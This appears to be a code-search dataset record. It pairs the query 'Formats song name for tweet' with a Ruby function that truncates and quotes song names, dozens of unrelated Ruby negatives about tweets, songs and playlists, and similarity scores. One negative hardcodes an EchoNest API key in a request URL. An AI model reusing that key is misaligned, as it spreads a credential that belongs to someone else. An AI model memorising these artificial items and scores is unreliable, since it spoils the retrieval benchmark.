"def update\n \n \n respond_to do |format|\n updated_params = song_params\n if (@song.artist != song_params[:artist] || @song.songname != song_params[:songname])\n uri = 'http://developer.echonest.com/api/v4/song/search?api_key=6XUOAXHJOW28GGGRH&format=json&results=1&artist=' + Rack::Utils.escape(song_params[:artist]) + '&title=' + Rack::Utils.escape(song_params[:songname]) + '&bucket=audio_summary'\n result = open(uri).read\n parsed = JSON.parse(result)\n if parsed[\"response\"][\"songs\"].length > 0\n updated_params[:bpm] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"tempo\"]\n updated_params[:key] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"key\"]\n notice = \"Song found on EchoNest!\"\n else\n notice = \"Could not find updated song on EchoNest.\"\n end\n \n end\n if @song.update(updated_params)\n format.html { redirect_to @song, notice: \"#{notice} #{updated_params} \" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute(msg, tweet)\n # 134 because it has to fit \"[IRC] \"\n if tweet.length > 1 && tweet.length < 134\n LittleHelper::TWEETER.update(\"[IRC] #{tweet}\")\n msg.reply('Successfully tweeted!'.freeze)\n else\n msg.reply('That tweet is either too long or too short.'.freeze)\n end\n end",
"def compose_message(tweet)\n str = []\n str << \"[@#{tweet.user.screen_name}] \" if tweet.user?\n str << tweet.text\n\n return str.join\n end",
"def post_tweet(tweet, user)\n self.user_id = user\n self.external_id = tweet.id\n self.body = tweet.text\n\n self.longitude = tweet.place.bounding_box.coordinates[0][0][0]\n self.latitude = tweet.place.bounding_box.coordinates[0][0][1]\n self.active = true\n self.external_link = tweet.url\n\n self.created_at = tweet.created_at || DateTime.now\n self.provider = \"twitter\"\n self.kind = \"tweet\"\n\n self.log = tweet.to_hash\n if tweet.media.present?\n self.image = tweet.media[0].media_url\n end\n\n if (self.valid?)\n self.save!\n else\n # raise self.errors.inspect\n end\n end",
"def tweet(message)\n @followers.each { |follower| follower.update(self, message)}\n end",
"def generate_tweet\n raw_tweet = raw['status']\n JsonTweet.new(raw_tweet, twitter_user_id).generate_tweet if raw_tweet\n end",
"def getTweet(tweet,rt)\n\tflds=[]\n\n\trt_original_tweetID=nil\n\tif tweet[\"retweeted_status\"]\n\t\trt_original_tweetID=tweet[\"retweeted_status\"][\"id\"]\n\tend\n\n\ttweetID=tweet[\"id\"]\n\tflds << tweetID\n\tflds << tweet[\"user\"][\"id\"]\n\tif tweet[\"created_at\"]\n\t\tflds << tweet[\"created_at\"]\n\t\tdt=DateTime.parse(tweet[\"created_at\"])\n\t\tflds << dt.strftime(\"%Y%m%d\")\n\t\tflds << dt.strftime(\"%H%M%S\")\n\telse\n\t\tflds << nil\n\t\tflds << nil\n\t\tflds << nil\n\tend\n\tflds << rt\n\tflds << rt_original_tweetID\n\tif $orgText\n\t\tflds << tweet[\"text\"]\n\telse\n\t\tif tweet[\"text\"]\n\t\t\tflds << tweet[\"text\"].gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\telse\n\t\t\tflds << nil\n\t\tend\n\tend\n\tif tweet[\"source\"]\n\t\tflds << tweet[\"source\"].gsub(/<a.*?>/,\"\").gsub(/<\\/a.*?>/,\"\")\n\telse\n\t\tflds << nil\n\tend\n\tflds << tweet[\"truncated\"]\n\tflds << tweet[\"in_reply_to_status_id\"]\n\tflds << tweet[\"in_reply_to_user_id\"]\n\tflds << tweet[\"in_reply_to_screen_name\"]\n\tdat=tweet[\"coordinates\"]\n\tif dat\n\t\tflds << dat[0]\n\t\tflds << dat[1]\n\telse\n\t\tflds << nil\n\t\tflds << nil\n\tend\n\tflds << tweet[\"contributors\"]\n\n\t#dat=tweet[\"current_user_retweet\"]\n\t#if dat\n\t#\tflds << dat[\"id\"]\n\t#else\n\t#\tflds << nil\n\t#end\n\n\tflds << tweet[\"avorite_count\"]\n\tflds << tweet[\"favorited\"]\n\tflds << tweet[\"filter_level\"]\n\tflds << tweet[\"lang\"]\n#place\tPlaces\n\tflds << tweet[\"possibly_sensitive\"]\n#scopes\tObject\n\tflds << tweet[\"retweet_count\"]\n\tflds << tweet[\"retweeted\"]\n#\tflds << tweet[\"withheld_copyright\"]\n#withheld_in_countries\tArray of String\n#\tflds << tweet[\"withheld_scope\"]\n\n\n\treturn tweetID,flds\nend",
"def tweet(message, options = {})\n puts message\n # other stuff using options if present\n end",
"def to_track(raw_track)\n Models::Track.new( \n {\n :url => raw_track[\"href\"],\n :title => raw_track[\"name\"],\n :album => nested_lookup(raw_track, \"album\",\"name\"),\n :artists => to_artists(raw_track[\"artists\"])\n }\n )\n end",
"def make_tweet(tweets)\n table = markov_table(tweets)\n tweet = ''\n prefix = [nil] * @prefix_length\n\n word = pick_word(table[prefix.dup])\n\n until word.nil?\n tweet << \"#{word} \"\n fail 'holy cow! long tweet' if tweet.length > 1000\n\n prefix.shift\n prefix << word\n word = pick_word(table[prefix.dup])\n end\n\n # at-mention someone 1/100 of the time\n tweet.prepend(\"#{@mentions.sample} \") if Random.rand(100) == 0\n\n tweet.strip\n end",
"def song(song_number, notes)\n raise RangeError if song_number < 0 || song_number > 15\n \n notes.map! do |i|\n note, duration = i\n\n # notes can either be a string or the actual ID\n note = NOTES[note] if note.is_a?(String)\n [note, duration*64]\n end\n\n # The protocol requires us to send the number of notes and the song number first\n write_chars([SONG, song_number, notes.size] + notes.flatten)\n end",
"def change_file_metadata(song)\n Mp3Info.open(song[:path]) do |mp3|\n #song.dance=params['genre']\n mp3.tag2.TCON=song.dance\n #song.title=params['title']\n mp3.tag.title=song.title\n #song.artist=params['artist']\n mp3.tag.artist=song.artist\n #song.rating=params['rating'].to_i\n mp3.tag2.POPM=song.rating\n #song.save\n end\nend",
"def song; end",
"def song; end",
"def song; end",
"def song; end",
"def song; end",
"def song; end",
"def song; end",
"def song; end",
"def twitter_publish_message\n \"#NoAgenda show ##{number} attack vectors now at http://noagendadashboard.com\"\n end",
"def song_params\n params.require(:song).permit(:title, :artist, :time, :fav)\n end",
"def topsongs\n tracks = Array.new\n session[:related].each do |artistName|\n artist = RSpotify::Artist.search(artistName).first\n top_tracks = artist.top_tracks(@userCountry).first\n tracks.push(top_tracks.uri)\n end\n\n uri = URI.parse(\"#{@playlistUrl}/tracks/\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true #this helps with the https\n request = Net::HTTP::Post.new(uri)\n request[\"Authorization\"] = \"Bearer #{@data[\"access_token\"]}\"\n request[\"Content-Type\"] = \"application/json\"\n request.body = \"{\\\"uris\\\": #{tracks}}\"\n response = http.request(request)\n finished = JSON.parse(response.read_body)\n if finished.key?(\"snapshot_id\")\n @playlistCheck = true\n else\n @playlistCheck = false\n end\nend",
"def show\n @song = Song.find(params[:id])\n @duration = seconds_to_duration(@song.length) \n @finger_print = \"#{@song.finger_print[0..15]}...\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end",
"def to_s\n self.play_list.to_s + \" \" + self.song.to_s\n end",
"def format_text(title, url, url_title_time_ary)\n s = \"Title: #{title}¥nURL: #{url}¥n¥n\"\n url_title_time_ary.each do |aurl, atitle, atime|\n s << \"* (#{atime})#{atitle}¥n\"\n s << \" #{aurl}¥n\"\n end\n s\nend",
"def to_s_simple\n \"track_id = #{@metadata['track_id']} name = #{@metadata['name']}\"\n end",
"def mention(status, *name)\n tweet(\"#{name.join('')} #{status}\")\nend",
"def artist_social(artist)\n\t #-----------For Artist Meta Tags----------------\n\n\t #Page Title, Facebook Title and Twitter Title\n\t @social_title = artist.name+\" on Three Repeater\"\n\t #Meta description (google), Facebook Description, and Twitter Card Description\n\t @social_descrip = artist.bio\n\n\t #logic around figuring out which facebook url is used\n\t facebook_url(artist)\n\n\t #Twitter ID\n\t @social_twitter_name = artist.twitter_name\n\n\t #Image for twitter and FB\n\t @social_image = artist.logo.to_s\n\n\t #------------------------------------------------\n\n end",
"def store_info(response)\n return [] unless retailer = retailer(response.entities.try(:urls))\n TweetInfo.new(text: response.text, id: response.id, name: response.user.screen_name, retailer: retailer, \n retweet_count: response.retweet_count, follower_count: response.user.followers_count, \n friends_count: response.user.friends_count, tweet_time: response.created_at,\n location: response.user.location, favorite_counts: response.favorite_count)\n end"
] |
[
"0.66666615",
"0.6524269",
"0.6464781",
"0.6360947",
"0.62788695",
"0.61502916",
"0.6145508",
"0.61449444",
"0.6078103",
"0.6070553",
"0.6068057",
"0.59727097",
"0.5908821",
"0.5827892",
"0.58265084",
"0.58231413",
"0.58231413",
"0.58091754",
"0.5795549",
"0.5793214",
"0.57708675",
"0.5736705",
"0.57254285",
"0.5676884",
"0.56595594",
"0.5647513",
"0.56449425",
"0.56376064",
"0.56131613",
"0.5608858",
"0.55964994",
"0.55661154",
"0.55509895",
"0.5549871",
"0.5549871",
"0.554338",
"0.5526616",
"0.54698515",
"0.54576045",
"0.5455014",
"0.5455014",
"0.5433844",
"0.54155755",
"0.5407175",
"0.5395303",
"0.5383757",
"0.5383757",
"0.5383674",
"0.5379795",
"0.5368454",
"0.53674495",
"0.5366598",
"0.5362345",
"0.53519225",
"0.53481406",
"0.53481406",
"0.53481406",
"0.534727",
"0.5331013",
"0.5326704",
"0.53234124",
"0.5320193",
"0.5320125",
"0.5319155",
"0.53083074",
"0.53049695",
"0.5299307",
"0.52990425",
"0.52866507",
"0.5277443",
"0.52753294",
"0.52708006",
"0.5269749",
"0.5269463",
"0.5269066",
"0.52659845",
"0.52598965",
"0.52533853",
"0.5253059",
"0.5250703",
"0.5242154",
"0.52343935",
"0.52332747",
"0.52332747",
"0.52332747",
"0.52332747",
"0.52332747",
"0.52332747",
"0.52332747",
"0.52332747",
"0.5232238",
"0.5226202",
"0.52180785",
"0.52166146",
"0.521213",
"0.52094585",
"0.52068913",
"0.5205989",
"0.5205243",
"0.52048653"
] |
0.6961494
|
0
|
Formats artist name for tweet
|
def format_artist_name(artist_name)
if(artist_name.length > 52)
return artist_name[0 .. 48] + "..."
else
return artist_name
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def full_name\n\t\ts = title\n\t\ts = \"#{artist.name} - #{s}\" if artist\n\t\treturn s\n\tend",
"def artist_name\n if artist_name_from_url.present?\n artist_name_from_url\n elsif api_metadata.present?\n api_metadata.dig(:author, :username)\n else\n nil\n end\n end",
"def artist_name\n artist.name if artist\n end",
"def artist_name\n artist ? artist.name : ''\n end",
"def artist_name\n # self.artist.name\n self.artist ? self.artist.name : ''\n end",
"def pretty_name\n\t\t# TODO: internationalize\n\t\ts = title\n\t\ts += \" by #{artist.name}\" if artist\n\t\treturn s\n\tend",
"def artist_name\n if self.artist\n artist.name\n else\n nil\n end\n end",
"def artist_name_downcase\n artist_name.to_s.downcase\n end",
"def artist_name\n if artist\n self.artist.name\n else\n nil\n end\n end",
"def tweet_users\n if authors.size > 1\n \"#{submitting_author.nice_name} et al.\"\n else\n submitting_author.nice_name\n end\n end",
"def artist_name\n \tif self.artist\n \t\tself.artist.name\n \tend\n end",
"def artist_name\n self.artist ? self.artist.name : nil\n end",
"def artist_name\n @artist.name if @artist\n end",
"def highwire_author_format(name)\n if name.include? ','\n name.split(',').reverse.join(' ').strip\n else\n name\n end\n end",
"def artist_name\n if self.name \n self.name\n else \n nil\n end \n end",
"def artist_name\n nil\n end",
"def artist_name\n self.artist ? self.artist.name : nil\n end",
"def artist_name\n if self.artist #if song has an artist aka TRUE\n self.artist.name #return the artist name\n else\n nil #if no artist name return nil\n end\n end",
"def artist_name\n self.artist.name\n end",
"def artist_name\n self.artist.name\n end",
"def artist_name\n self.artist.name\n end",
"def artist_name\n self.artist.name\n end",
"def artist_name\n if self.artist == nil\n nil\n else\n self.artist.name\n end\n end",
"def artist_name\n if self.artist\n self.artist.name\n else\n nil\n end\n end",
"def tag_name\n artist_name\n end",
"def artist(string)\n PRESETS[:artist].fetch(string.to_sym,\n title(string).gsub('and the ', 'and The '))\n end",
"def getSongInfo(tweet)\n\tthe_artist_name = tweet[/by[\\w\\W]+(((http\\:\\/\\/){1}))/i]\n\tif the_artist_name != nil\n\t\t@artist_name = the_artist_name[/(?<=^|(?<=[^a-zA-Z0-9\\_\\.]))@([A-Za-z0-9\\_]+)/i]\n\t\tif @artist_name != nil\n\t\t\t@artist_name = @artist_name[1..@artist_name.length]\n\n\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t# is the Timeout/execution expired.\n\t\t\tbegin\n\t\t\t\tuserTweet = Twitter.user(\"#{@artist_name}\").verified\n\t\t\trescue \t\n\t\t\t\tputs \"Exception caught and ignored\"\n\t\t\t\tsleep 15\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif (userTweet != nil) && (userTweet == true)\n\n\t\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t\t# is the Timeout/execution expired.\n\t\t\t\tbegin\n\t\t\t\t\t@artist_name = Twitter.user(\"#{@artist_name}\").name\n\t\t\t\trescue\n\t\t\t\t\tputs \"Exception caught and ignored\"\n\t\t\t\t\tsleep 15\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\t\n\t\telse\n\t\t\t@user_location = tweet[/\\([\\s]*@([^\\)]+)\\)/i]\n\t\t\tif @user_location == nil\n\t\t\t\t@artist_name = the_artist_name[3..(the_artist_name.length - 9)]\n\t\t\telse\n\t\t\t\t@artist_name = tweet[/by[\\w\\W]+[(@]/i]\n\t\t\t\tif @artist_name != nil\t\n\t\t\t\t\t@artist_name = @artist_name[3..(@artist_name.length - 3)]\n\t\t\t\tend\n\t\t\tend\n\t\tend\t\n\t\tthe_name = @artist_name[/[\\w\\W]+[|]/i]\n\t\tif the_name != nil\n\t\t\t@artist_name = the_name[0..(the_name.length - 2)]\n\t\tend\n\t\tputs \"Artist name: #{@artist_name}\"\n\n\t\t@song_name = tweet[/\\\"[\\s\\S\\d\\D\\w\\W]+\\\"/i]\n\t\tif @song_name != nil\n\t\t\tthe_song = @song_name[/[\\w\\W\\d\\D\\s\\S\"] +\"[\\w\\W\\d\\D\\s\\S]+\\w/i]\n\t\t\tif the_song != nil\n\t\t\t\t@song_name = the_song[3..(the_song.length)]\n\t\t\telse\n\t\t\t\t@song_name = @song_name[1..(@song_name.length - 2)]\n\t\t\tend\n\t\t\tputs \"Song name: #{@song_name}\"\n\t\tend\n\tend\nend",
"def artist_name\n self.artists.collect do |artist|\n artist.name\n end\n end",
"def name\n return @artist_data[\"name\"]\n end",
"def artist_name_and_genre\n \"#{artist_name} - #{genre.name}\"\n end",
"def format(song)\n artist_name = format_artist_name(song[\"artist\"][\"content\"])\n song_name = format_song_name(song[\"name\"])\n hashtag = format_hashtag(song[\"nowplaying\"])\n return \"#{song_name} - #{artist_name} ##{hashtag}\"\n end",
"def artist_name\n self.artist.name if self.artist \n end",
"def artist_names\n names = \"\"\n self.artists.each do |artist|\n names += \"#{artist.name}, \"\n end\n\n # Remove trailing ,\n names.chomp!(\", \")\n return names\n end",
"def artist_name\n self.try(:artist).try(:name)\n end",
"def artist_name\n self.try(:artist).try(:name)\n end",
"def artist_name\n self.try(:artist).try(:name)\n end",
"def format(tweet)\n if tweet.text.match(/@partyprinter tubestatus/)\n Tubestatus\n elsif tweet.text.match(/@partyprinter bardscene.*/)\n Bardscene\n else\n Tweet\n end\n \n end",
"def tweet\n\treturn \"Tweet Tweet Twitter\"\nend",
"def f_artist\n fname_bits[-3] || 'unknown_artist'\n end",
"def artist_name\n if self.artist == nil #findining artist of song\n nil\n else\n artist.name\n end\n end",
"def format_hashtag(nowplaying)\n if nowplaying\n return \"nowplaying\"\n else\n return \"tweetsong\"\n end\n end",
"def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend",
"def display_name\n @display_name ||= if audio? && metadata?\n artist, title = metadata.values_at('artist', 'title')\n title.present? ? [title, artist].compact.join(' - ').force_encoding('UTF-8') : attachment_file_name\n else\n attachment_file_name\n end\n end",
"def twitter_list_name\n end",
"def capitalize_names!\n @artist_name = StringUtils.mixed_case(@artist_name)\n @name = StringUtils.mixed_case(@name)\n @genre = StringUtils.mixed_case(@genre)\n \n @remix = capitalize_remix_name(@remix)\n\n @featured_artists.collect! { |artist| StringUtils.mixed_case(artist) }\n end",
"def mention(status, *name)\n tweet(\"#{name.join('')} #{status}\")\nend",
"def tweet\n\t\treturn \"AHHP! Pretty bird!\"\n\tend",
"def artist_name=(name)\n artist = Artist.find_or_create_by(name: name)\n self.artist = artist\n end",
"def artist_name_from_url\n urls.map { |url| url[PROJECT, :artist_name] || url[ARTIST, :artist_name] }.compact.first\n end",
"def format\n self.songs.size > 1 ? s = \"songs\" : s = \"song\"\n \"#{self.name.capitalize}\"\n end",
"def format_username\n \t_email_base = self.email[/[^@]+/]\n \tself.username ||= _email_base.camelize.underscore.gsub(/\\./,\"_\") unless _email_base.nil?\n\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n self.artist = artist\n end",
"def reformat_twofaced_names(card)\n end",
"def format_name\n [@comment[:first], @comment[:last]].join(' ')\n end",
"def title\n\t\t\"#{artist.try(:name)} - #{event.try(:title)}\"\n\tend",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def tweet\n\t\treturn \"Polly want's a cracker.\"\n\tend",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by_name(name)\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by_name(name)\n end",
"def capitalize_names!\n @artist_name = StringUtils.mixed_case(@artist_name)\n @name = StringUtils.mixed_case(@name)\n @genre = StringUtils.mixed_case(@genre)\n @mixer = StringUtils.mixed_case(@mixer)\n end",
"def tweet(title)\n unless @twitter_client.nil?\n\n # Make sure the title is short enough\n if title.length > 80\n title = title[0,80]\n end\n if @dj_tweeting\n @twitter_client.update(\"Now playing on #DuaneFM: #{title} http://bit.ly/1ErYiZr #hewitt\")\n end\n\n end\n end",
"def mention(status, *names)\n tweet(\"#{names.join(' ')} #{status}\")\nend",
"def mention(status, *names)\n tweet(\"#{names.join(' ')} #{status}\")\nend",
"def tweetable_title\n title.size > 119 ? title[0,116] + \"...\" : title\n end",
"def format_name\n name.observation_name\n end",
"def nice_author(author)\n return nice_author(\"#{$2} #{$1}\") if author =~ /^(.+),\\s+(.+)$/\n return nice_author(\"#{$1} #{$2}\") if author =~ /^(.+)\\.(.+)$/\n return author.titleize\nend",
"def title\n \"#{@artist} - #{@name} (#{@length})\"\n end",
"def format_song_name(song_name)\n if(song_name.length > 48)\n return \"\\\"\" + song_name[0 .. 44] + \"...\\\"\"\n else\n return \"\\\"\" + song_name + \"\\\"\"\n end\n end",
"def tweet\n return \"Arrrr matey\"\n end",
"def artist_names\n artists.map do |artist|\n artist.name\n end\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by(name: name)\n end",
"def artist_name=(name)\n # binding.pry\n if (self.artist.nil?)\n self.artist = Artist.find_or_create_by_name(name)\n self.artist.add_song(self) \n end\n \n end",
"def listing_name(text)\n\t\t\tar = text.split(', ')\n\t\t\tlastname = ar[0]\n\t\t\tfirstpart = ar[1]\n\t\t\tinitials = firstpart.gsub(/([[:upper:]])[a-zé]+/, '\\1.')\n\t\t\tinitials + ' ' + lastname\n\t\tend",
"def normalize_author_name(auth_toks)\n return '' if auth_toks.empty?\n str = auth_toks.join(\" \")\n if str =~ /(.+),\\s*(.+)/\n str = \"#{$1} #{$2}\"\n end\n str.gsub!(/\\.\\-/, '-')\n str.gsub!(/[\\,\\.]/, ' ')\n str.gsub!(/ +/, ' ')\n str.strip!\n\n if (str =~ /^[^\\s][^\\s]+(\\s+[^\\s]|\\s+[^\\s]\\-[^\\s])+$/)\n new_toks = str.split(/\\s+/)\n new_order = new_toks[1...new_toks.length];\n new_order << new_toks[0]\n str = new_order.join(\" \")\n end\n\n str.gsub!(/^[^A-Za-z0-9]+/, '')\n str.gsub!(/[^A-Za-z0-9]+$/, '')\n return str\n end",
"def normalize_author_name(auth_toks)\n return '' if auth_toks.empty?\n str = auth_toks.join(\" \")\n if str =~ /(.+),\\s*(.+)/\n str = \"#{$1} #{$2}\"\n end\n str.gsub!(/\\.\\-/, '-')\n str.gsub!(/[\\,\\.]/, ' ')\n str.gsub!(/ +/, ' ')\n str.strip!\n\n if (str =~ /^[^\\s][^\\s]+(\\s+[^\\s]|\\s+[^\\s]\\-[^\\s])+$/)\n new_toks = str.split(/\\s+/)\n new_order = new_toks[1...new_toks.length];\n new_order << new_toks[0]\n str = new_order.join(\" \")\n end\n return str\n end",
"def format_autonym(name, author, _rank, deprecated)\n words = name.split\n if author.blank?\n format_name(name, deprecated)\n elsif words[-7] == words[-1]\n [\n format_name(words[0..-7].join(\" \"), deprecated),\n author,\n words[-6],\n format_name(words[-5], deprecated),\n words[-4],\n format_name(words[-3], deprecated),\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n elsif words[-5] == words[-1]\n [\n format_name(words[0..-5].join(\" \"), deprecated),\n author,\n words[-4],\n format_name(words[-3], deprecated),\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n elsif words[-3] == words[-1]\n [\n format_name(words[0..-3].join(\" \"), deprecated),\n author,\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n else\n format_name(name, deprecated) + \" \" + author\n end\n end",
"def make_tweet(tweets)\n table = markov_table(tweets)\n tweet = ''\n prefix = [nil] * @prefix_length\n\n word = pick_word(table[prefix.dup])\n\n until word.nil?\n tweet << \"#{word} \"\n fail 'holy cow! long tweet' if tweet.length > 1000\n\n prefix.shift\n prefix << word\n word = pick_word(table[prefix.dup])\n end\n\n # at-mention someone 1/100 of the time\n tweet.prepend(\"#{@mentions.sample} \") if Random.rand(100) == 0\n\n tweet.strip\n end",
"def tweet\n\t\treturn \"tweee\"\n\tend",
"def author_name\n \"#{author.last_name}, #{author.first_name}\"\n end",
"def artist_name=(name)\n # The actual assignment of the artist \"michael jackson\"\n # to the Song instance variable occurs in the .add_song \n # method in the Artist class.\n Artist.find_or_create_by_name(name).add_song(self)\n end",
"def formatAuthName(auth)\n str = \"\"\n fname, lname = auth.text_at(\"./fname\"), auth.text_at(\"./lname\")\n if lname && fname\n str = \"#{lname}, #{fname}\"\n mname, suffix = auth.text_at(\"./mname\"), auth.text_at(\"./suffix\")\n mname and str += \" #{mname}\"\n suffix and str += \", #{suffix}\"\n elsif fname\n str = fname\n elsif lname\n str = lname\n elsif auth.text_at(\"./email\") # special case\n str = auth.text_at(\"./email\")\n else\n str = auth.text.strip\n str.empty? and return nil # ignore all-empty author\n puts \"Warning: can't figure out author #{auth}\"\n end\n return str\nend",
"def shout_out_to(name)\n # name.chars.each { |c| c.upcase! }\n name = name.chars.each { |c| c.upcase! }.join\n puts 'HEY ' + name\nend",
"def artist\n @artist #tells song its artist name\n end",
"def get_feed_caption(name)\n\tcaption = String.new(name)\n\tcaption = caption.gsub(\"_\", \" \")\n\tcaption = caption.split.map(&:capitalize).join(' ')\n\tputs \"Generated caption '\" + caption + \"' for name '\" + name + \"'\"\n\treturn caption\nend",
"def tweet_user(tweet) \n if ! tweet.is_a?(String)\n base = tweet.has_key?(:from_user) ? tweet[:from_user] : tweet[:user][:screen_name]\n else\n base = tweet\n end\n base =~ /^@/ ? base : \"@#{base}\"\n end",
"def author_name\n \"#{author.first_name} #{author.last_name}\"\n end",
"def format_name\n put_together_name(:full)\n end",
"def artist_social(artist)\n\t #-----------For Artist Meta Tags----------------\n\n\t #Page Title, Facebook Title and Twitter Title\n\t @social_title = artist.name+\" on Three Repeater\"\n\t #Meta description (google), Facebook Description, and Twitter Card Description\n\t @social_descrip = artist.bio\n\n\t #logic around figuring out which facebook url is used\n\t facebook_url(artist)\n\n\t #Twitter ID\n\t @social_twitter_name = artist.twitter_name\n\n\t #Image for twitter and FB\n\t @social_image = artist.logo.to_s\n\n\t #------------------------------------------------\n\n end",
"def text_name\n put_together_name(:full).t.html_to_ascii\n end",
"def artist_name=(name)\n # When instantiating, set the .artist attribute to what is input in name\n self.artist = Artist.find_or_create_by(name: name)\n\n end",
"def fq_space_title(s)\n s.creator.nickname + '/' + '<strong>' + s.title + '</strong>'\n end",
"def formatted_name(data)\n '' << data[:Title] << ' ' <<\n initials(data[:\"First Names\"]) <<\n data[:Surname]\n end",
"def formatAuthName(auth)\n str = \"\"\n if auth.at(\"lname\") && auth.at(\"fname\")\n str = auth.at(\"lname\").text.strip + \", \" + auth.at(\"fname\").text.strip\n auth.at(\"mname\") and str += \" \" + auth.at(\"mname\").text.strip\n auth.at(\"suffix\") and str += \", \" + auth.at(\"suffix\").text.strip\n elsif auth.at(\"fname\")\n str = auth.at(\"fname\").text\n elsif auth.at(\"lname\")\n str = auth.at(\"lname\").text\n else\n puts \"Warning: can't figure out author #{auth}\"\n str = auth.text\n end\n return str\nend",
"def format_name\n name ? name.observation_name : \"\"\n end",
"def artist_name=(artistName)\n Artist.find_or_create_by_name(artistName)\n Artist.find(artistName)\n end",
"def full_name(entry)\n \"#{entry.first_name} #{entry.last_name}\"\n end"
] |
[
"0.7079218",
"0.701164",
"0.68315125",
"0.677011",
"0.67620605",
"0.6737886",
"0.66794777",
"0.6653416",
"0.66443837",
"0.6617785",
"0.6564145",
"0.6548926",
"0.64781696",
"0.6475851",
"0.6443876",
"0.63734734",
"0.6373027",
"0.6365349",
"0.63160753",
"0.63160753",
"0.63160753",
"0.63160753",
"0.6299783",
"0.62646097",
"0.6253793",
"0.6246534",
"0.622631",
"0.6189632",
"0.61719346",
"0.6170967",
"0.61668503",
"0.61108387",
"0.6088286",
"0.6086706",
"0.6086706",
"0.6086706",
"0.60713613",
"0.60547847",
"0.60483646",
"0.60084885",
"0.6003602",
"0.6003136",
"0.5966155",
"0.59649897",
"0.5959987",
"0.5950299",
"0.5947686",
"0.58896935",
"0.58724856",
"0.58683664",
"0.58626384",
"0.58479404",
"0.58464795",
"0.5838653",
"0.58222413",
"0.58152455",
"0.58152455",
"0.58071804",
"0.57795703",
"0.57795703",
"0.5775373",
"0.57679546",
"0.57552785",
"0.57552785",
"0.57469934",
"0.5744031",
"0.57299227",
"0.5723342",
"0.57177985",
"0.5716497",
"0.5716091",
"0.5714216",
"0.5714216",
"0.5714216",
"0.5714216",
"0.57071996",
"0.570685",
"0.57016945",
"0.56968015",
"0.5694532",
"0.5694528",
"0.5685847",
"0.5681896",
"0.5680549",
"0.56789416",
"0.56761485",
"0.56750894",
"0.5673379",
"0.56698465",
"0.566445",
"0.56473976",
"0.5637254",
"0.56348157",
"0.5631775",
"0.5627248",
"0.56254774",
"0.5623826",
"0.5618807",
"0.5612486",
"0.56099135"
] |
0.70677274
|
1
|
Formats song name for tweet
|
def format_song_name(song_name)
if(song_name.length > 48)
return "\"" + song_name[0 .. 44] + "...\""
else
return "\"" + song_name + "\""
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format(song)\n artist_name = format_artist_name(song[\"artist\"][\"content\"])\n song_name = format_song_name(song[\"name\"])\n hashtag = format_hashtag(song[\"nowplaying\"])\n return \"#{song_name} - #{artist_name} ##{hashtag}\"\n end",
"def format\n self.songs.size > 1 ? s = \"songs\" : s = \"song\"\n \"#{self.name.capitalize}\"\n end",
"def full_name\n\t\ts = title\n\t\ts = \"#{artist.name} - #{s}\" if artist\n\t\treturn s\n\tend",
"def format_hashtag(nowplaying)\n if nowplaying\n return \"nowplaying\"\n else\n return \"tweetsong\"\n end\n end",
"def format_artist_name(artist_name)\n if(artist_name.length > 52)\n return artist_name[0 .. 48] + \"...\"\n else\n return artist_name\n end\n end",
"def quick_title(song)\n File.basename(song, File.extname(song)).gsub(/^[^A-Za-z]+\\s+(\\w)/, \"\\\\1\")\n end",
"def tweet(title)\n unless @twitter_client.nil?\n\n # Make sure the title is short enough\n if title.length > 80\n title = title[0,80]\n end\n if @dj_tweeting\n @twitter_client.update(\"Now playing on #DuaneFM: #{title} http://bit.ly/1ErYiZr #hewitt\")\n end\n\n end\n end",
"def pretty_name\n\t\t# TODO: internationalize\n\t\ts = title\n\t\ts += \" by #{artist.name}\" if artist\n\t\treturn s\n\tend",
"def getSongInfo(tweet)\n\tthe_artist_name = tweet[/by[\\w\\W]+(((http\\:\\/\\/){1}))/i]\n\tif the_artist_name != nil\n\t\t@artist_name = the_artist_name[/(?<=^|(?<=[^a-zA-Z0-9\\_\\.]))@([A-Za-z0-9\\_]+)/i]\n\t\tif @artist_name != nil\n\t\t\t@artist_name = @artist_name[1..@artist_name.length]\n\n\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t# is the Timeout/execution expired.\n\t\t\tbegin\n\t\t\t\tuserTweet = Twitter.user(\"#{@artist_name}\").verified\n\t\t\trescue \t\n\t\t\t\tputs \"Exception caught and ignored\"\n\t\t\t\tsleep 15\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif (userTweet != nil) && (userTweet == true)\n\n\t\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t\t# is the Timeout/execution expired.\n\t\t\t\tbegin\n\t\t\t\t\t@artist_name = Twitter.user(\"#{@artist_name}\").name\n\t\t\t\trescue\n\t\t\t\t\tputs \"Exception caught and 